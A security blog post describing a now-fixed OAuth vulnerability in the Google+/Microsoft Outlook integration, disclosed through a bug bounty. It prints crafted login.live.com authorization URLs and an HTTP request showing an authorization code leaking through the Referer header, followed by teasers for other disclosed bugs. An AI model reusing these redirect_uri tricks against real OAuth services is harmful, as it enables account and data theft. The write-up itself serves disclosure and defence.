Skip to main content

On (OAuth) token hijacks for fun and profit part #1 (Google/Microsoft integration)

Here we go again....
I have already blogged about (OAuth) token hijacks [1] [2] , but hey, things happens and re-happens :)
In the past I had mainly focused my attention on Authorization Servers weakness. As the cited Facebook's vulnerable regex pattern matching for redirect_uri.
It turns out that also OAuth client can screw things up and leak token (or authorization codes).
So here is the tl;dr:

If you are building an OAuth client,  
Thou shall register a redirect_uri as much as specific as you can

i.e. if your OAuth client callback is https://yourouauthclient.com/oauth/oauthprovider/callback then

  • DO register https://yourouauthclient.com/oauth/oauthprovider/callback 
  • NOT JUST https://yourouauthclient.com/ or https://yourouauthclient.com/oauth
The main reason behind this is that sometimes Authorization Server (AS) use exotic and unexpected redirect_uri validation policies.
As mentioned in some previous post the ONLY safe validation method the Authorization Server should adopt is exact matching (all the other potential solutions, based on partial matching i.e. pattern matching based on regex or allowing subdirectory of the registered redirect_uri, are suboptimal and sometimes even dangerous).
Now coming back to the attack, Google+ offers an interesting feature were is possible to connect Outlook contacts to Google+

So, to perform this integration, Google has registered an OAuth client in the Microsoft OAuth solution aka https://login.live.com. The OAuth client Google registered is: 000000004404170C. The mistake done by the Google engineers in this case was to register a “too open” redirect_uri. Indeed the request originated by Google toward login.live is https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/c/auth&state=.... 
The normal flow then looks something like:


According to the request above Google should have been registered the https://plus.google.com/c/auth as redirect_uri (since the redirect_uri request parameter above is of this form). As matter of fact they did register https://plus.google.com instead!!
Now, Microsoft (https://login.live.com/oauth20_authorize.srf in this case) adopts the allowing subdirectory validation strategy (same as Github) for redirect_uri (namely validates only the start of the URI and considers valid redirect_uri if everything else is appended after the registered redirect_uri).
In order to exploit this issue an attacker (me in this case) can create a public post in Google+ e.g. https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w



This public post contains a link to the attacker web page (in the example https://asanso.github.io).
Well the attack is almost complete. It is indeed enough for the attacker to craft a special URI of this form:
https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w and make the victim click on it.
To be noted that the crafted URI contains a redirect_uri that is equal to the malicious post (https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w).
The attacker was then able to change the flow to something like:


Since Google registered https://plus.google.com as redirect_uri and due the fact login.live.com adopts an allowing subdirectory validation strategy, https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w is a perfectly valid redirect_uri. What’s now then?
It is enough to “convince” the victim to click (this happens more often than anybody can imagine) the crafted link:
https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w the victim then will end up to something like
https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w?code=e8e0dc1c-2258-6cca-72f3-7dbe0ca97a0b
Note the code request parameter ends up being attached in the URI of the malicious post. Having the victim clicking to the link in the malicious post will make him end up to https://asanso.github.io. At this point the referrer will leak the authorization code.



GET https://asanso.github.io/ HTTP/1.1
Host: asanso.github.io
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w?code=e8e0dc1c-2258-6cca-72f3-7dbe0ca97a0b&state=AFD_5tnkUDeb8GzlT-fkd1N5dH3unpyRXfG4sisFWPyR_ZSfklmXnI2uKR6d_s5W1kToGBJNJ4nhNY9qZBCrPErOjkyBHm_5t4lkO2slpYU8qU5K63lQJvMsXbdvbEOaS9nFR5xW2l4x_KflI-xIHQprP6ZvvVZL76Wu5d--3mVrSpQxsVP38JquxEffeDxX9uGpLHnlR_TODIUHwXvE786Ov-rhxb8EedkRP_yQBWwTn5D-YIm4BScrjR-AOg
Connection: keep-alive



The attacker can just grab the authorization code from the Referer header.

I did report this vulnerability to Google through the Google Vulnerability Reward Program (VRP)  and they immediately acknowledged the problem (and Yep got a bounty for it :):)). Do the peculiar nature of the issue (also being an integration) it took a while to be fixed (but now it is). The fix is of course easy and as stated above is enough to register a more specific redirect_uri (aka https://plus.google.com/c/auth in this case).

Well this is the end of part #1. I will have yet more to come on the same subject but can't disclosed right now since vendors are still on the verge of fixing those issues... hence as always DO stay tuned and if you are interested on this topic I am @asanso on twitter.

P.S. there is a similar issue discovered by Andris Atteka (now fixed). In his blog post he was wondering if this was a Relying Party (Google) or Authentication Provider (Microsoft) problem. I hope this blog post clarified that this was a Relying Party (small) mistake that can have unwanted side effect though.

P.S2. interesting enough the attack discovered by Andris Atteka in his post was based on OpenID 2.0. In the same time frame Google dismissed OpenID 2.0 support but this did not make the vulnerability going away :). Indeed was enough to craft yet another URI that exhibited (almost) the same effect:
https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=00000000401058A9&scope=wl.emails&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://asanso.github.io
The real fix deployed by Google was eventually the same as above (once more, again and again, the registration of a more specific redirect uri!! :D)


Comments

Popular posts from this blog

Slack SAML authentication bypass

tl;dr  I found a severe issue in the Slack's SAML implementation that allowed me to bypass the authentication. This has now been solved by Slack.
Introduction IMHO the rule #1 of any bug hunter (note I do not consider myself one of them since I do this really sporadically) is to have a good RSS feed list.  In the course of the last years I built a pretty decent one and I try to follow other security experts trying to "steal" some useful tricks. There are many experts in different fields of the security panorama and too many to quote them here (maybe another post). But one of the leading expert (that I follow) on SAML is by far Ioannis Kakavas. Indeed he was able in the last years to find serious vulnerability in the SAML implementation of Microsoft and Github. Usually I am more an "OAuth guy" but since both, SAML and OAuth, are nothing else that grandchildren of Kerberos learning SAML has been in my todo list for long time. The Github incident gave me the final…

Cross-origin brute-forcing of Github SAML and 2FA recovery codes

Yesterday while reading my Twitter stream I found this interesting article about  downloading GitHub SSO bypass codes. Same as Yasin Soliman I was invited to a Github pre-release of the organisation SAML single sign-on (SSO) private program. And same as him I found an issue in the same endpoint. So I thought to write a quick blog post about it. Github already published a tl;dr about this,



 I will try to fill the blanks here.

As mentioned by Yasin, Github offers an endpoint where privileged users can recover bypass codes. These recovery codes were accessible for download as plaintext and had the content-type as text/plain, something like:



What immediately caught my attention was that the format of the code forms (with some exceptions) a valid JavaScript file with lines in the format of XXXXX-XXXXX, ten hex digits separated by a hyphen. This is interpreted in JavaScript as the subtraction of two variables! This remember an old blog post of mine where I could possibly exfiltrate informa…

Critical vulnerability in JSON Web Encryption (JWE) - RFC 7516

tl;dr if you are using go-jose, node-jose, jose2go, Nimbus JOSE+JWT or jose4j with ECDH-ES please update to the latest version. RFC 7516 aka JSON Web Encryption (JWE) hence many software libraries implementing this specification used to suffer from a classic Invalid Curve Attack. This would allow an attacker to completely recover the secret key of a party using JWE with Key Agreement with Elliptic Curve Diffie-Hellman Ephemeral Static (ECDH-ES), where the sender could extract receiver’s private key.

Premise
In this blog post I assume you are already knowledgeable about elliptic curves and their use in cryptography. If not Nick Sullivan's A (Relatively Easy To Understand) Primer on Elliptic Curve Cryptography or Andrea Corbellini's series Elliptic Curve Cryptography: finite fields and discrete logarithms are great starting points. Then if you further want to climb the elliptic learning curve including the related attacks you might also want to visit https://safecurves.cr.yp.to…